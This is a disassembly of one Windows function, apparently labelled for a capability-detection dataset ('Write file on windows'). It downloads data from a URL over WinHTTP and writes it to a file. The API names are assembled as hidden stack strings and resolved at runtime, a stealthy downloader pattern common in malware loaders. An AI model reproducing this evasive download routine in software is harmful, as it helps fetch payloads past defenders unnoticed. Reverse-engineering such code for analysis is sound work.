Function at 0x1400062b2
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400222a0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1a90]
mov eax, 0x1b90
call fcn.140006f23
sub rsp, rax
movdqa xmm0, xmmword [str.WinHttpOpenReque]
lea rdx, [rsp + 0x50]
movdqa xmm1, xmmword [str.WinHttpCloseHand]
xor edi, edi
movdqu xmmword [rbp - 0x50], xmm0
mov r15, rcx
lea rcx, [rsp + 0x40]
movdqa xmm0, xmmword [str.WinHttpSendReque]
movdqu xmmword [rbp - 0x38], xmm0
mov dword [rsp + 0x40], 0x686e6977
movdqa xmm0, xmmword [str.WinHttpReceiveRe]
movdqu xmmword [rbp - 0x68], xmm0
mov dword [rsp + 0x44], 0x2e707474
movdqa xmm0, xmmword [str.WinHttpReadData]
movdqu xmmword [rbp + 0x10], xmm0
mov dword [rsp + 0x48], 0x6c6c64
mov dword [rsp + 0x50], 0x486e6957
mov dword [rsp + 0x54], 0x4f707474
mov dword [rsp + 0x58], 0x6e6570
mov dword [rsp + 0x60], 0x486e6957
mov dword [rsp + 0x64], 0x43707474
mov dword [rsp + 0x68], 0x656e6e6f
mov word [rsp + 0x6c], 0x7463
mov byte [rsp + 0x6e], dil
mov word [rbp - 0x40], 0x7473
mov byte [rbp - 0x3e], dil
mov word [rbp - 0x28], 0x7473
mov byte [rbp - 0x26], dil
mov dword [rbp - 0x58], 0x6e6f7073
mov word [rbp - 0x54], 0x6573
mov byte [rbp - 0x52], dil
movdqu xmmword [rbp - 0x20], xmm1
mov word [rbp - 0x10], 0x656c
mov byte [rbp - 0xe], dil
call fcn.1400020ae
lea rdx, [rsp + 0x60]
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.140009ac5
lea rdx, [rbp - 0x50]
mov qword [rbp + 0x1ae8], rax
lea rcx, [rsp + 0x40]
call fcn.1400060f5
lea rdx, [rbp - 0x38]
mov r14, rax
lea rcx, [rsp + 0x40]
call fcn.1400036b6
lea rdx, [rbp - 0x68]
mov qword [rbp - 8], rax
lea rcx, [rsp + 0x40]
call fcn.140009b24
lea rdx, [rbp + 0x10]
mov r13, rax
lea rcx, [rsp + 0x40]
call fcn.140005006
lea rdx, [rbp - 0x20]
mov qword [rbp], rax
lea rcx, [rsp + 0x40]
call fcn.140006c62
xor r9d, r9d
mov dword [rsp + 0x70], 0x650053
xor r8d, r8d
mov dword [rsp + 0x74], 0x750063
xor edx, edx
mov dword [rsp + 0x78], 0x650072
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x7c], 0x690057
mov rsi, rax
mov dword [rbp - 0x80], 0x48006e
mov dword [rbp - 0x7c], 0x540054
mov dword [rbp - 0x78], 0x2f0050
mov dword [rbp - 0x74], 0x2e0031
mov dword [rbp - 0x70], 0x30
mov dword [rsp + 0x20], edi
call rbx
mov qword [rbp + 8], rax
mov r12, rax
test rax, rax
jne 0x14002247b
xor al, al
jmp 0x14002260d
mov ebx, 0x68
lea rcx, [rbp + 0x20]
mov r8d, ebx
xor edx, edx
call fcn.1400054a7
lea rax, [rbp + 0x90]
mov dword [rbp + 0x20], ebx
mov qword [rbp + 0x38], rax
lea r9, [rbp + 0x20]
lea rax, [rbp + 0x290]
mov dword [rbp + 0x40], 0x100
xor r8d, r8d
mov qword [rbp + 0x68], rax
xor edx, edx
mov dword [rbp + 0x70], 0x400
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
movzx r8d, word [rbp + 0x44]
lea rdx, [rbp + 0x90]
xor r9d, r9d
mov rcx, r12
call qword [rbp + 0x1ae8]
mov r15, rax
test rax, rax
jne 0x1400224ee
mov rcx, r12
call rsi
jmp 0x140022474
cmp dword [rbp + 0x34], 2
lea r8, [rbp + 0x290]
mov eax, edi
lea rdx, [0x14010e6e0]
mov ecx, 0x800000
cmove eax, ecx
xor r9d, r9d
mov dword [rsp + 0x30], eax
mov rcx, r15
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call r14
mov rbx, rax
test rax, rax
jne 0x140022530
mov rcx, r15
call rsi
jmp 0x1400224e7
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], edi
mov rcx, rax
call qword [rbp - 8]
test eax, eax
setne r14b
test r14b, r14b
je 0x140022564
xor edx, edx
mov rcx, rbx
call r13
test eax, eax
setne r14b
mov rcx, qword [rbp + 0x1ad8]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x1400225fb
test r14b, r14b
je 0x1400225ef
mov r12, qword [rbp]
lea r9, [rbp + 0x1ae0]
mov r8d, 0x1000
lea rdx, [rbp + 0xa90]
mov rcx, rbx
call r12
test eax, eax
je 0x1400225eb
mov r8d, dword [rbp + 0x1ae0]
test r8d, r8d
je 0x1400225eb
lea r9, [rbp + 0x1ae8]
mov qword [rsp + 0x20], rdi
lea rdx, [rbp + 0xa90]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x1400225a3
mov r12, qword [rbp + 8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dil, r14b
mov rcx, rbx
call rsi
mov rcx, r15
call rsi
mov rcx, r12
call rsi
mov al, dil
mov rbx, qword [rsp + 0x1bd0]
add rsp, 0x1b90
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret